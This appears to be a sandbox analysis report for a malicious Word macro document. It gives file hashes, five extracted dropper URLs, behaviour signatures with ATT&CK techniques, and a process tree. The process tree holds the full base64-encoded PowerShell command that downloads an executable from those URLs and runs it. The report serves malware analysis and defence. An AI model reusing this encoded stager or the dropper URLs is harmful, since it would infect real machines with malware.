67f27ff168d34fea798552774ec1859f7ced8ccc9382fe2becd8f806403ee4be

General

Target

67f27ff168d34fea798552774ec1859f7ced8ccc9382fe2becd8f806403ee4be.doc
Size

126KB
MD5

9a52b337ec45bdbff8f31ca82e29c5ae
SHA1

c67a5af9460939c0b3fd04560b90fcaaa57b4b43
SHA256

67f27ff168d34fea798552774ec1859f7ced8ccc9382fe2becd8f806403ee4be
SHA512

a3286bba6a324bcf1a0fd1bd3df5159a416aa47d00fc8ed47be1f81d1dee1398786c3f51343b33eb2b00bf80e3dc8133034bab88f698ce7626cc52715144fa8c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.maisonmanor.com/wp-content/unRpFYCwFf/

exe.dropper

http://4gstartup.com/wp-content/wotdrnPG/

exe.dropper

http://bonespecialistsinmangalore.com/images/ehbim9q_qgre5mcjf9-69608/

exe.dropper

http://hondathudo.com/wp-snapshots/cnwnwsqh_55c9q-928746/

exe.dropper

http://betabangladesh.com/wp-includes/24thfsvoy_ty0ixhm-59/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1680	4100	powershell.exe	16

Blocklisted process makes network request 4 IoCs

flow	pid	Process
53	1680	powershell.exe
57	1680	powershell.exe
70	1680	powershell.exe
76	1680	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3480	WINWORD.EXE
3480	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1680	powershell.exe
1680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3480	WINWORD.EXE
3480	WINWORD.EXE
3480	WINWORD.EXE
3480	WINWORD.EXE
3480	WINWORD.EXE
3480	WINWORD.EXE
3480	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 2504	3480	WINWORD.EXE	82
PID 3480 wrote to memory of 2504	3480	WINWORD.EXE	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\67f27ff168d34fea798552774ec1859f7ced8ccc9382fe2becd8f806403ee4be.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -e JABwAEEAVwAzAF8AdwBKAGoAPQAnAEUAWABMAGIAdwB3AG0AJwA7ACQASAA3AFMAdgBVAHAAIAA9ACAAJwA0ADQAMQAnADsAJAB0ADgAdgBGAHIAawBuAFEAPQAnAFgAMwA2AHMAegBTAGMAbgAnADsAJABaAHAAQwBwADgAaQBCAEgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgANwBTAHYAVQBwACsAJwAuAGUAeABlACcAOwAkAGEAWAB6AG4AQwBJAD0AJwBHAGgASgA0AEgASQAwADEAJwA7ACQAbQBEAEcAawBGAEYAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBgAFQALgBXAGUAYgBgAEMATABpAEUAYABOAHQAOwAkAHEAYgB6AE4ATQB3AHcAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGEAaQBzAG8AbgBtAGEAbgBvAHIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AG4AUgBwAEYAWQBDAHcARgBmAC8AQABoAHQAdABwADoALwAvADQAZwBzAHQAYQByAHQAdQBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdwBvAHQAZAByAG4AUABHAC8AQABoAHQAdABwADoALwAvAGIAbwBuAGUAcwBwAGUAYwBpAGEAbABpAHMAdABzAGkAbgBtAGEAbgBnAGEAbABvAHIAZQAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBlAGgAYgBpAG0AOQBxAF8AcQBnAHIAZQA1AG0AYwBqAGYAOQAtADYAOQA2ADAAOAAvAEAAaAB0AHQAcAA6AC8ALwBoAG8AbgBkAGEAdABoAHUAZABvAC4AYwBvAG0ALwB3AHAALQBzAG4AYQBwAHMAaABvAHQAcwAvAGMAbgB3AG4AdwBzAHEAaABfADUANQBjADkAcQAtADkAMgA4ADcANAA2AC8AQABoAHQAdABwADoALwAvAGIAZQB0AGEAYgBhAG4AZwBsAGEAZABlAHMAaAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AMgA0AHQAaABmAHMAdgBvAHkAXwB0AHkAMABpAHgAaABtAC0ANQA5AC8AJwAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAEoAWgBKADUAMQBzAD0AJwBZAGQAbQBqAFQAMAAnADsAZgBvAHIAZQBhAGMAaAAoACQAbAB3AGgAMgBpAG0AIABpAG4AIAAkAHEAYgB6AE4ATQB3AHcAKQB7AHQAcgB5AHsAJABtAEQARwBrAEYARgAuAEQAbwB3AG4AbABPAEEARABGAGkAbABFACgAJABsAHcAaAAyAGkAbQAsACAAJABaAHAAQwBwADgAaQBCAEgAKQA7ACQAUABpAEkASQBDAGkAPQAnAEgATgB6AGoAdQB3AHQAXwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFoAcABDAHAAOABpAEIASAApAC4ATABlAG4ARwB0AGgAIAAtAGcAZQAgADIAMAA4ADAAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AEEAcgBUACgAJABaAHAAQwBwADgAaQBCAEgAKQA7ACQATgBIAG0AaQBHAHAAegA9ACcARgBsAE8ASwBIADEAMQAnADsAYgByAGUAYQBrADsAJABGAE8AbgA0AFAAdgBtADUAPQAnAGoAdgBuAGkASABoAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBDAGQATgA1ADkAegBoAD0AJwBXADYAOABPAFIANwA4ACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1680-144-0x00007FFB41F90000-0x00007FFB42A51000-memory.dmp

Filesize
10.8MB

Download
memory/1680-143-0x00007FFB41F90000-0x00007FFB42A51000-memory.dmp

Filesize
10.8MB

Download
memory/1680-142-0x00007FFB41F90000-0x00007FFB42A51000-memory.dmp

Filesize
10.8MB

Download
memory/1680-141-0x000002156A8D0000-0x000002156A8F2000-memory.dmp

Filesize
136KB

Download
memory/3480-136-0x00007FFB2B9D0000-0x00007FFB2B9E0000-memory.dmp

Filesize
64KB

Download
memory/3480-130-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/3480-135-0x00007FFB2B9D0000-0x00007FFB2B9E0000-memory.dmp

Filesize
64KB

Download
memory/3480-138-0x0000022B9AF40000-0x0000022B9AF44000-memory.dmp

Filesize
16KB

Download
memory/3480-139-0x0000022B8B531000-0x0000022B8B58E000-memory.dmp

Filesize
372KB

Download
memory/3480-140-0x0000022B8B531000-0x0000022B8B58E000-memory.dmp

Filesize
372KB

Download
memory/3480-134-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/3480-133-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/3480-131-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download
memory/3480-132-0x00007FFB2DF70000-0x00007FFB2DF80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads